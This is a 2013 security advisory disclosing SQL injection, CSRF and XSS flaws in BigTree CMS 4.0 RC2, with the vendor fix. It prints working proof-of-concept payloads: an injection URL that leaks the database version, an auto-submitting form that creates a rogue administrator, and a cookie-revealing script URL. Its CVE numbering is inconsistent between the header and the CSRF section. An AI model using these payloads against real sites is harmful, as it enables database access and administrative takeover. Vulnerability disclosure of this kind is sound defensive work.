Advisory ID: HTB23165
Product: BigTree CMS
Vendor: BigTree CMS
Vulnerable Version(s): 4.0 RC2 and probably prior
Tested Version: 4.0 RC2
Vendor Notification: July 17, 2013=20
Vendor Patch: July 17, 2013=20
Public Disclosure: August 7, 2013=20
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79], =
Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2013-4879, CVE-2013-4880
Risk Level: High=20
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 5.1 (AV:N/AC:H/Au:N/C=
:P/I:P/A:P), 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities =
in BigTree CMS, which can be exploited to perform SQL injection, Cross-Site=
Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks. A remote at=
tacker can add, modify or delete information in application's database and =
gain complete control over the application.
1) SQL Injection in BigTree CMS: CVE-2013-4879
The vulnerability exists due to insufficient sanitisation of user-supplied =
data passed to "/site/index.php" script. A remote unauthenticated attacker =
can execute arbitrary SQL commands in application's database.
The following PoC (Proof of Concept) code displays version of MySQL server:
http://[host]/site/index.php/%27and%28select%201%20from%28select%20count%28=
*%29%2cconcat%28%28select%20concat%28version%28%29%29%29%2cfloor%28rand%280=
%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29and%=
27
2) =D0=A1ross-Site Request Forgery (CSRF) in BigTree CMS: CVE-2013-4881
The vulnerability exists due to insufficient validation of the HTTP request=
origin. A remote attacker can create a malicious web page with CSRF exploi=
t, trick a logged-in administrator into opening that page and create a new =
user with administrative privileges.
The basic CSRF exploit below will create a new administrator "attacker" wi=
th password "password":
<form action=3D"http://[host]/site/index.php/admin/users/create/" method=3D=
"post" name=3D"main">
<input type=3D"hidden" name=3D"email" value=3D"user@email.com">
<input type=3D"hidden" name=3D"password" value=3D"password">
<input type=3D"hidden" name=3D"level" value=3D"1">
<input type=3D"hidden" name=3D"name" value=3D"attacker">
<input type=3D"hidden" name=3D"company" value=3D"company">
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.main.submit();
</script>
3) Cross-Site Scripting (XSS) in BigTree CMS: CVE-2013-4880
The vulnerability exists due to insufficient filtration of user-supplied da=
ta in "module" HTTP GET parameter passed to "/site/index.php/admin/develope=
r/modules/views/add/" URL. A remote attacker can trick a logged-in administ=
rator to open a specially crafted link and execute arbitrary HTML and scrip=
t code in browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to di=
splay administrator's cookies:
http://[host]/site/index.php/admin/developer/modules/views/add/?module=3D%2=
2%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&table=3D1&title=3D=
dolfbnwl
---------------------------------------------------------------------------=
--------------------
Solution:
Replace the following files with their updated versions from GitHub:
core/inc/bigtree/cms.php
core/admin/modules/users/create.php
core/admin/modules/developer/modules/views/add.php
More Information:
https://github.com/bigtreecms/BigTree-CMS/commit/c5f27bf66a7f35bd3daeb5f693=
f3e2493f51b1f3
https://github.com/bigtreecms/BigTree-CMS/commit/4b0faa90fa8b9e1776c86db716=
894dcd7e6b4834
https://github.com/bigtreecms/BigTree-CMS/commit/8a59c2e13f8e151b6a9e98f73e=
641e1ec8d928df
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23165 - https://www.htbridge.com/advisory/=
HTB23165 - Multiple Vulnerabilities in BigTree CMS.
[2] BigTree CMS - http://www.bigtreecms.org/ - BigTree CMS is an open sourc=
e content management system built on PHP and MySQL.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.